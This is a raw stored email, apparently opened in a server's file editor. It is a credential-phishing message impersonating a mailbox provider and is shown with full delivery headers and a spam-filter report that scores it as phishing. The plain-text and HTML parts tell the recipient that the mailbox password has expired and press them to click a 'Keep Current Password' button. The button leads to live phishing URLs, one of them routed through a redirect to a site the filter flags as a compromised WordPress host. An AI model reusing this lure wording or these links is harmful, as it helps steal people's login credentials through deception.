Google
Edit File: 1765784962.M820294P1603340.server-619288.prediksijaya.com,S=9449,W=9625:2,a
Return-Path: <admin@wejob-fr.cam> Delivered-To: angker+spam@server-619288.prediksijaya.com Received: from server-619288.prediksijaya.com by server-619288.prediksijaya.com with LMTP id lXqXMIK9P2kMdxgAf7/9AQ (envelope-from <admin@wejob-fr.cam>) for <angker+spam@server-619288.prediksijaya.com>; Mon, 15 Dec 2025 14:49:22 +0700 Return-path: <admin@wejob-fr.cam> Envelope-to: vavadainua@ponjosonek.com Delivery-date: Mon, 15 Dec 2025 14:49:22 +0700 Received: from mail.pingyetex.sbs ([172.93.167.140]:56984 helo=mail.wejob-fr.cam) by server-619288.prediksijaya.com with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384 (Exim 4.99) (envelope-from <admin@wejob-fr.cam>) id 1vV3KV-00000006j12-16HB for vavadainua@ponjosonek.com; Mon, 15 Dec 2025 14:49:22 +0700 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=wejob-fr.cam; s=default; t=1765783531; bh=GGKFyZEolg58asew3Uq5fthKEoK/KDYkqDUgfI2d2X0=; h=From:Subject:To:Date:From; b=HTO14brjxJPqdAB3SUFcVsD6GV/cMJa+vvrvkD0iIcp7pWUEqMwlrlPaRmtu5oYT9 QaVY67Pu6Vmm5dqJu9jxXVWQhRgEmT9t1iW+DS9M5/PRPvlBe+HoAYt6R8gGXCggvQ tItO+bKZoOFLzTUMZRum5K03JYD18eDwd7FgInF8FZyLsnyb431YTQ9jogFj+3QrHq wcCYUslahNascRs1qX/JtL1EuY7TXaaM5REnDfcE6FhVsVvN5FPPdGd4QoUySmUTDV WmKu/gKFPO4E/3w+EnhvMSOtek0DaqirpL3w7vpSMXwNoahuxZK1HYT66n9McMxDXa amjj1WRkPoisA== Received: from 96 (unknown [137.184.168.78]) (Authenticated sender: admin@wejob-fr.cam) by mail.wejob-fr.cam (Postfix) with ESMTPSA id 14170158B5 for <vavadainua@ponjosonek.com>; Mon, 15 Dec 2025 07:25:31 +0000 (GMT) From: "ponjosonek.com" <admin@wejob-fr.cam> To: <vavadainua@ponjosonek.com> Content-Type: multipart/alternative; boundary="3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj" MIME-Version: 1.0 Date: Mon, 15 Dec 2025 08:25:31 +0100 Message-Id: <15312025122508FA6803A40E$38AFE95EBC@wejob-fr.cam> X-Spam-Status: Yes, score=23.9 X-Spam-Score: 239 X-Spam-Bar: +++++++++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "server-619288.prediksijaya.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Dear vavadainua@ponjosonek.com, The password to your mailbox vavadainua@ponjosonek.com has expired. System will log you out and generate a new password exactly at 24 hours from 15 December 2025. You can continue using your current password. Use the button below to keep using current password.. Content analysis details: (23.9 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [172.93.167.140 listed in sa-trusted.bondedsender.org] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: wejob-fr.cam] [URI: bed.za.com] [URI: hamin.cam] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [172.93.167.140 listed in sa-accredit.habeas.com] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [172.93.167.140 listed in bl.score.senderscore.com] 1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist [URI: bed.za.com] -0.0 SPF_PASS SPF: sender matches SPF record -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's domain -0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from envelope-from domain 1.5 DEAR_EMAIL BODY: Message contains Dear email address 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 KAM_SHORT Use of a URL Shortener for very short URL 1.5 KAM_GOOGLE_REDIR Use of Google redir 3.0 KAM_SOME_2TLD_ARE_BAD Some 2TLD and hosting sites are bad 3.0 KAM_SA_ZA_ABUSE 2TLD Providers prevalent in spam abuse 0.0 GOOG_REDIR_FRAUD Google redirect to obscure spamvertised website + fraud keywords 0.5 GOOG_REDIR_NOTRDNS Google redirect to obscure spamvertised website + HELO is not rDNS 2.1 URI_WP_HACKED_2 URI for compromised WordPress site, possible malware 5.0 KAM_SOMETLD_ARE_BAD_TLD .bar, .beauty, .buzz, .cam, .casa, .cfd, .club, .date, .guru, .link, .live, .monster, .press, .pw, .quest, .rest, .sbs, .shop, .stream, .top, .trade, .wiki, .work, .xyz TLD abuse 5.5 KAM_MAILBOX2 Mailbox Quota Phishing Scams X-Spam-Flag: YES Subject: Password Expiration Notice This is a multi-part message in MIME format --3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear vavadainua@ponjosonek.com, The password to your mailbox vavadainua@ponjosonek.com has expired.=20= System will log you out and generate a new password exactly at 24 hour= s from 15 December 2025. You can continue using your current password. Use the button below to = keep using current password.. Keep Current Password https://hamin.cam/clearup/?jivsbsdnoo=3Dvavadain= ua@ponjosonek.com Note: This is a user verification, designed to shut down malicious use= rs and other fraudulent activities of the robot. --3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <html><head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-= 8859-1"> <body<DIV style=3D"TEXT-DECORATION: none; WHITE-SPACE: normal; WORD-= SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0= ); FONT-STYLE: normal; LETTER-SPACING: normal; TEXT-INDENT: 0px; -webk= it-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-varian= t-caps: normal; caret-color: rgb(0, 0, 0)" dir=3Dltr><title>Password E= xpiration Notice</title> </head> <BODY> <P style=3D"FONT-SIZE: 17px; FONT-FAMILY: Arial, sans-serif; C= OLOR: rgb(51,51,51)">Dear vavadainua@ponjosonek.com<STRONG>,</STRONG><= BR> </p><p style=3D"FONT-SIZE: 17px; FONT-FAMILY: Arial, sans-se= rif; COLOR: rgb(51,51,51)">The password to your mailbox vav= adainua@ponjosonek.com has expired. </p><p style=3D"FONT-SIZE: 1= 7px; FONT-FAMILY: Arial, sans-serif; COLOR: rgb(51,51,51)"><SPAN style= =3D"FONT-SIZE: medium">System will log you out and generate a new pass= word exactly at 24 hours from 15 December 2025.</SPAN><BR><B= R><SPAN style=3D"FONT-SIZE: medium">You can continue using your curren= t password. Use the button below to keep using current password..</SPA= N><BR><BR><BR><BR><SPAN style=3D"FONT-SIZE: x-small"> </SPAN><BR>= <SPAN style=3D"FONT-SIZE: x-small">  = ; &nb= sp; </SPAN> <A style=3D= "BORDER-TOP: rgb(0,166,63) 14px solid; BORDER-RIGHT: rgb(0,166,63) 14p= x solid; BORDER-BOTTOM: rgb(0,166,63) 14px solid; COLOR: rgb(0,166,63)= ; BORDER-LEFT: rgb(0,166,63) 14px solid; BACKGROUND-COLOR: rgb(0,166,6= 3); text-decoration-line: none" href=3D"https://hamin.cam/clearup/?jiv= sbsdnoo=3Dvavadainua@ponjosonek.com" rel=3D"noopener noreferrer" targe= t=3D_blank data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttp= s://bed.za.com/wp-includes/jsjskshs/?i%3Di%260%3Djason4jacob@yandex.co= m&source=3Dgmail&ust=3D1765849269194000&usg=3DAOvVaw32Rk1r= gO7AlqkJyYmyc_HN"> <FONT color=3D#ffffff>Keep Current Pass= word</FONT> </A><BR><BR><SPAN style=3D"FONT-SIZE: 14px; FONT-FAMILY: i= nherit; COLOR: rgb(109,137,188)"><SPAN style=3D"BORDER-LEFT-WIDTH: 0px= ; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: baseline; BORDER-BOTTOM-WID= TH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MAR= GIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px"> Note: This = is a user verification, designed to shut down malicious users and othe= r fraudulent activities of the robot.</SPAN></SPAN> </P></body> </html> --3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj--